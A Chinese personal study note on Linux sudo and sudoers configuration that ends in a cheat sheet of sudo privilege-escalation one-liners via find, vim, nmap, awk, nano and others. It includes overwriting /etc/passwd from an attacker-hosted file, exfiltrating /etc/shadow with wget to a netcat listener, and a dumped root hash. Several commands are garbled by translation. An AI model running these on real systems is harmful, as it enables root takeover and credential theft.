以下为个人学习笔记和习题整理

# 什么是 SUDO ?

sudo 是 linux 系统管理指令,是允许系统管理员让普通用户执行一些或者全部的 root 命令的一个工具,如 halt,reboot,su 等等。这样不仅减少了 root 用户的登录 和管理时间,同样也提高了安全性。sudo 不是对 shell 的一个代替,它是面向每个命令的。
基础

它的特性主要有这样几点:
§ sudo 能够限制用户只在某台主机上运行某些命令。
§ sudo 提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务器。
§ sudo 使用时间戳文件来执行类似的 “检票” 系统。当用户调用 sudo 并且输入它的密码时,用户获得了一张存活期为 5 分钟的票(这个值可以在编译的时候改变)。
§ sudo 的配置文件是 sudoers 文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存放的位置默认是在 /etc/sudoers,属性必须为 0440。

在 sudo 于 1980 年前后被写出之前,一般用户管理系统的方式是利用 su 切换为超级用户。但是使用 su 的缺点之一在于必须要先告知超级用户的密码。
sudo 使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特殊的文件中(通常是 /etc/sudoers),即完成对该用户的授权(此时该用户称为 “sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上 “sudo”,此时 sudo 将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内(默认为 5 分钟,可在 /etc/sudoers 自定义),使用 sudo 不需要再次输入密码。
由于不需要超级用户的密码,部分 Unix 系统甚至利用 sudo 使一般用户取代超级用户作为管理帐号,例如 Ubuntu、Mac OS X 等。

参数说明:
・-V 显示版本编号
・-h 会显示版本编号及指令的使用方式说明
・-l 显示出自己(执行 sudo 的使用者)的权限
・-v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码
・-k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟)
・-b 将要执行的指令放在背景执行
・-p prompt 可以更改问密码的提示语,其中 % u 会代换为使用者的帐号名称, % h 会显示主机名称
・-u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)
・-s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell
・-H 将环境变数中的 HOME (家目录)指定为要变更身份的使用者家目录(如不加 -u 参数就是系统管理者 root )
・command 要以系统管理者身份(或以 -u 更改为其他人)执行的指令

# Sudoer 文件

sudoers 文件主要有三部分组成:
・sudoers 的默认配置(default),主要设置 sudo 的一些缺省值
・alias(别名),主要有 Host_Alias|Runas_Alias|User_Alias|Cmnd_Alias。
・安全策略(规则定义)—— 重点。

# 基本格式

user/group  ALL=(ALL)   ALL
• user/group:
• 表示允许哪个用户或组可以使用sudo

可以指定具体某个用户,也可以将多个用户添加到别名里

User_Alias ADMINS =chirou, panghu
ADMIN   ALL=(ALL)   ALL
# 指定系统组,在组名前面加上%
%group  ALL=(ALL)   ALL

# 第一个 ALL:

・表示允许在哪台主机登录
可以指定主机 ip 或主机名,指定的是服务端 ip,与从哪个客户端连接无关。
user 192.168.0.2=(ALL) ALL

/etc/sudoers 文件可以共享复制到多部主机上,这样只修改一份文件,指定哪个用户可以在哪台主机使用 sudo 命令,就可以直接拷贝到其他主机上,非该主机用户不能使用 sudo, 这样就能分主机管理,互不影响。

# 第二个 ALL:

・表示能转换成哪个用户
胖虎可以在所有主机上转换成所有用户执行任何命令
panghu ALL=(ALL) ALL

# 第三个 ALL:

• 表示转换后能执行的命令
ALL表示所有命令,可以使用绝对路径指定某些命令
/usr/sbin/ifconfig,/bin/vim /f1

# 指定不能使用某些命令
!/bin/vim /f1

# 指定使用某些命令不需要输入密码
NOPASSWD:/usr/sbin/ifconfig

# 可以使用命令别名

NOPASSWD:命令别名
touhid ALL = (root) NOPASSWD: /usr/bin/find
说明3:上面的命令,使用户可以从任何终端运行,以root用户身份运行命令find 而无需密码。

# sudo 执行流程:

1、普通用户执行 sudo 命令,会检查 /var/db/sudo 是否存在时间戳缓存
2、如果存在则不需要输入密码,否则需要输入用户与密码
3、输入密码会检查是否是该用户、是否拥有权限。
4、如果有则执行,没有则报错退出。

# sudo 提权方法:

# 使用查找命令

sudo find / etc / passwd -exec / bin / sh \;
sudo find / bin -name nano -exec / bin / sh \;

# 使用 Vim 命令

sudo vim -c'!sh'

# 使用 Nmap 命令

sudo nmap-交互式
nmap>!sh
sh-4.1#
注意:nmap –interactive选项在最新的nmap中不可用。
也可以
echo“ os.execute('/ bin / sh')”> /tmp/shell.nse && sudo nmap --script = / tmp / shell.nse

# 使用 Man 命令

sudo man man
之后按!按下并按Enter

# 使用 less/more 命令

sudo less / etc / hosts
sudo more / etc / hosts
之后按!按下并按Enter

# 使用 awk 命令

sudo awk'BEGIN {system(“ / bin / sh”)}'

# 使用 nano 命令

nano是使用此编辑器的文本编辑器,在您需要切换用户之后,您可以修改passwd文件并将用户添加为root特权。在/ etc / passwd中添加此行,以将用户添加为root特权。
touhid:6 bxwJfzor 
sudo nano / etc / passwd   注意: ctrl + o 是保存, ctrl +x 是退出
现在切换用户密码是:test
su touhid

# 使用 wget 命令

这种非常酷的方式要求 Web 服务器下载文件。这样我从没在任何地方见过。让我们解释一下。
在 At 客者一边。
・首先将 Target 的 /etc/passwd 文件复制到攻击者计算机。
・修改文件,并在上一步中保存的密码文件中添加用户到攻击者计算机。
・仅附加此行 => touhid:
・将 passwd 文件托管到使用任何 Web 服务器的主机。

在要提权主机方面。

sudo wget http://192.168.56.1:8080/passwd -O / etc / passwd
现在切换用户密码是:test
su touhid
注意:如果您要从服务器上转储文件,例如root的ssh密钥,shadow文件等。
sudo wget --post-file = / etc / shadow 192.168.56.1:8080
攻击者的设置侦听器:nc – lvp 8080

# 使用 apache 命令

但是,我们无法获得 Shell 和 Cant 编辑系统文件。
但是使用它 我们可以查看系统文件。

sudo apache2 -f / etc / shadow
输出是这样的:
Syntax error on line 1 of /etc/shadow:
Invalid command 'root:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:17298:0:99999:7:::', perhaps misspelled or defined by a module not included in the server configuration
可悲的是没有shell。但是我们可以现在提取root哈希,然后破解了哈希
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Avenue-le 微信支付

微信支付

Avenue-le 支付宝

支付宝

Avenue-le beauty

beauty